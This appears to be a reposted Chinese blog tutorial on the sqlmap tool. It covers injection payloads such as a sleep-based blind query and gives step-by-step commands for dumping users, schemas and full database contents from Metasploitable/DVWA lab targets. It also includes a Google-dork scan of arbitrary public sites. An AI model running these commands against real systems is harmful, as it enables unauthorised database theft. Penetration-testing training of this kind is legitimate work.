1 sqlmap工具详细使用 任务093:SQLMAP- 自动注入

任务093:SQLMAP- 自动注入 笔记
  1. sqlmap介绍

  1. 介绍

    • 开源sql注入漏洞检测,利用

    • 检测动态页面中get/post参数,cookie,http头

    • 数据榨取

    • 文件访问

    • 操作系统命令执行

    • 引擎强大,特性丰富

    • Xss漏洞检测

  2. 五种漏洞检测技术

    • 基于布尔的盲注检测

      • ’ and 1=1
    • 基于时间的盲注检测基于错误的检测

      • ’ and (select * from (select(sleep(20)))a)–+
    • 基于UNION联合查询的检测

      • 适用于通过循环直接输出联合查询结果,否则只显示第一项结果
    • 基于堆叠查询的检测

      • ;堆叠多个查询语句

      • 适用于非select的数据修改、删除的操作

    • 支持的数据库管理系统DBMS

       MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB
      

3. 其他特性

  • 数据库直接连接-d与burpsuite、google结合使用,支持正则表达式限定测试目标

    • 不通过SQL注入,制定身份认证信息、P、端口
  • Get、post、cookie、Referer、UserAgent (随机或指定)限速: 最大并发、延迟发送

    • Cookie过期后自动处理Set-Cookie头,更新cookie信息
  • 支持Basic,Digest,NTLM,CA身份认证

  • 数据库版本、用户、权限、hash枚举和字典破解、暴力破解表列名称

  • 文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表

  • 与w3af、metasploit集成结合使用,基于数据库服务进程提权和上传执行后门

实际操作

显示
-h或是--help                   都是查看基本常用的参数
    -hh                                  查看详细参数
    -v                                    查看返回结果信息0-6,6是查看返回最详细信息0是最低。默认是1
指定目标                                       
    -d                                   直接连接数据库,当客户端来使用
    -u     “URL地址”            定一个URL这个URL必须是带变量的像http://www.site.com/vuln.php?id=1
     -l     文件                       导入一个文件可以来自Burp和WebScarab代理记录的文件
    r-x    xxx.xml                   来自远程站点地图(.xml)文件的x站点地图url解析目标
    -m   要指定的文件          多个目标URL保持到文件里-m就会用文件里的
    -r     请求信息的文件      叫请求信息保存成一个文件-r就会读取文件里的请求信息进行注入探测
    -g                                    用谷歌搜索引擎访问然后在进行扫描
    -c     文件名                    叫要sqlmap执行的参数保存的到文件里-c就会用文件里的内容

下面就用上面的参数进行演示
靶机metasploitable-linux-2.0.0里的phpMyAdmin里的靶机

1. 命令

sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username -f

-p是要指定的变量名之对这个变量进行检查探测
      -f是检查检查指纹信息
      总体来说就是检查这个URL里的username进行指纹检查看见查

2. 查看读取数据库账号

命令

sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details"  -p username --usere
--usere是查看读取数据库账号

3. 查看数据库的版本

命令

sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details"  -p username --banner

–banner就是查看数据库的版本类型的
4. 查看你数据管理系统有多少库显示库名

命令

sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details"  -p username --dbs

–dbs查看你数据管理系统有多少库显示库名
5. 查看原数据库
 命令

sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details"  -p username  --schema

–schema查看原数据库 前提的有权限查询schema库的权限

6. 查看你所以的内容

命令

sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details"  -p username  -a

-a是查看你所以的内容

7. 直接连接数据库进行查询查询的更快,但是你得的数据库帐号密码 列:sqlmap -d “mysql://帐号:密码@192.168.20.10:3306/dvwa” -a

也可以用其他参数如–dbs了

靶机没有密码输入帐号直接就可以连接了

命令

sqlmap -d "mysql://root:@172.16.103.128:3306/dvwa"  -a

8. 扫描 google 搜索结果这个是需要翻墙的

命令

sqlmap.py -g "inurl:\".php?id=1\""

-g就是用google 搜索结果

9. 用 url 列表文件进行扫描

命令

sqlmap -m 文件名

-m是指定一个文件文件里存放多个url地址然后在进行文件里的多个url进行选择性扫描

10.使用和请求文件和 POST文件方法进行扫描

用burp或者用其他工具进行抓取请求内容然后保存一个文件里

帐号密码几乎都是用POST进行传输的很少用UIL进行传输url里没有传输帐号密码那么就在POST请求里

10.1使用http请求文件

这个后面可以跟参数的

命令

sqkmap -r 请求保存的文件 -a

10.2使用burpsuite log文件

用burp工具的请求的过程保存成一个log文件然后在用sqlmao读取log文件然后在漏洞的注入

保存log文件
    在这里插入图片描述
 在这里插入图片描述命令

sqlmap -l a 

扫描会非常长后面可以加参数

11. HTTPS

命令

sqlmap -u "https://1.1.1.1/a.php?id=1:8843" --force-ssl

12.配置文件进行扫描

就是叫要扫描的URL保存到一个文件里然后sqlmap在读取文件里的URL里的目标地址进行扫描

命令

sqlmap -c sqlmap.txt
发布了41 篇原创文章 · 获赞 15 · 访问量 8875

猜你喜欢

转载自blog.csdn.net/qq_41860876/article/details/102968482
今日推荐